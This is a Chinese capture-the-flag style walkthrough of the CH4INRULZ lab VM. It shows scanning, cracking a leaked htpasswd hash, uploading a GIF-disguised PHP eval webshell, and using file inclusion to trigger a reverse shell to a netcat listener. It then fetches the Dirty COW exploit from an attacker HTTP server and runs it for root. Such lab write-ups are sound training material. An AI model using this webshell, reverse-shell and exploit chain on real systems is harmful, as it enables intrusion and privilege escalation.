靶机CH4INRULZ_v1.0.1

nmap开路。

root@kali:~# nmap -sP 192.168.1.*    
//拿到靶机地址192.168.1.8
root@kali:~# nmap -p- -sS -v -sV 192.168.1.8   

开放了四个端口,21号ftp端口,22号ssh端口,80和8011两个Web端口,在80端口下有一个个人简历的网站。

对80端口这个站用DirBuster进行目录扫描,访问developent目录需要账号密码,保留爆破的想法

接着用dirsearch扫文件,拿到一个index.html.bak备份文件。内容如下:

<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
<a href="/development">development</a>
<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path -->
</body></html>

frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0这一段是账号密码。

用John the Ripper破解到密码是frank!!!

账号密码登录

* Here is my unfinished tools list
- the uploader tool (finished but need security review)
//翻译:
*这是我未完成的工具清单
-上传器工具(已完成,但需要进行安全审查)

提示存在一个上传器工具

访问

http://192.168.1.8/development/uploader/

进入到上传器页面。

前面说了需要进行安全审查,那么应该是对我们上传的文件进行了过滤。直接上传php木马文件,看看允许哪些格式可以上传。

File is not an image.Sorry, only JPG, JPEG, PNG & GIF files are allowed.Sorry, your file was not uploaded.

服务器会对文件后缀检查,加个图片头改成.gif格式可以上传

GIF89a
<script language="php"> 
echo eval($_POST[shell]);
phpinfo();
</script>

但是没有给到图片传到到服务器的路径。

到这好像就没有思路了。抓包改成php后缀不行,传木马图片但是没给解析路径连蚁剑。回顾一下前面的信息收集的过程,拿到了21,22,80,8011四个端口和80端口下扫出来的一些路径,接着对8011端口进行信息搜集。

dirbuster扫目录的时候拿到一个200状态码的api目录,访问一波

给了四个文件,只有files_api.php可以访问

No parameter called file passed to me
* Note : this API don't use json , so send the file name in raw format
没有名为file的参数传递给我
*注意:此API不使用json,因此以原始格式发送文件名

提示传个file参数。get传参提示WRONG INPUT !!。改用post传参直接显示我们要读取的文件。

从这个地方我们可以知道大概的思路就是找到我们上传的路径然后文件包含反弹一个shell。这里找文件上传的路径用到了apache的配置文件,自己又孤陋寡闻了,大师傅基础好扎实。

/etc/apache2/sites-enabled/000-default


结合php伪协议读取uploader.php里面的内容。

base64解密

<?php
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . ".";
        $uploadOk = 1;
    } else {
        echo "File is not an image.";
        $uploadOk = 0;
    }
}
// Check if file already exists
if (file_exists($target_file)) {
    echo "Sorry, file already exists.";
    $uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
    echo "Sorry, your file is too large.";
    $uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
    echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
    $uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
?>

这里可以看到是检查我们上传文件的源码,最重要的还是

$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);

那么我们上传的文件在FRANKuploads/下

那么我们再利用8011端口的文件包含漏洞去读取我们的木马图片看能否解析,包含成功

下面我们考虑怎么弹个shell回来。这里我们用到了kali里面自带的php-reverse-shell.php文件。路径是

/usr/share/webshells/php/php-reverse-shell.php

将IP地址修改成kali的地址和kali开启的监听端口,加上GIF89a图片头改成gif后缀上传

nc监听6666端口

nc -lvnp 6666

同时文件包含访问我们刚刚上传的那个用来反弹shell的文件。

成功拿到shell,

下面开始提权。查看内核版本

版本比较老,直接使用脏牛提权。将40838文件复制到当前目录

kali@kali:~$ cp /usr/share/exploitdb/exploits/linux/local/40839.c ~

接着利用python开启一个简单的HTTP服务。

kali@kali:~$ python -m SimpleHTTPServer 8848

让靶机从kali上下载40839.cpp文件,但是提示不能写入,权限不够

查看各个目录的权限

我们将40839.cpp下载到/tmp目录下

编译执行,拿到用户名firefart输入新密码

提示密码修改成功

进入/root目录拿到flag。

总结
这是做的第四个靶机,对渗透测试的流程:信息收集-发现漏洞-漏洞利用-提权的感受更加的深刻。
先说信息收集和发现漏洞:nmap开路拿到四个端口,80和8011开放了Web服务,之后在扫80端口的目录时发现/development状态码是401需要密码认证,接着扫文件发现index.html.bak利用john爆破拿到账号密码,之后就是一个文件上传的功能,还是扫8011端口的目录发现文件包含漏洞。两者结合。其实重点在如何找到文件上传的路径。利用php伪协议拿到uploader.php的源码,上传的文件路径就明了了。
再说漏洞利用:这个靶机是利用文件上传配合文件包含漏洞来反弹一个shell的。知道了kali自带了一些反弹shell的脚本。
提权:查看内核版本,直接脏牛提权,在利用40349.c之前自己还利用了40847.cpp和40838.c两个脚本提权的,但是失败了,40847.cpp在编译的时候需要g++,但是靶机里面没有g++,安装的话需要权限。40838.c编译成功并且执行了,但是好像没用,弹回来一个图片就没了。
学到了哪些?
1、john的使用
2、利用kali自带脚本反弹shell

原文地址:https://www.cnblogs.com/HelloCTF/p/13356079.html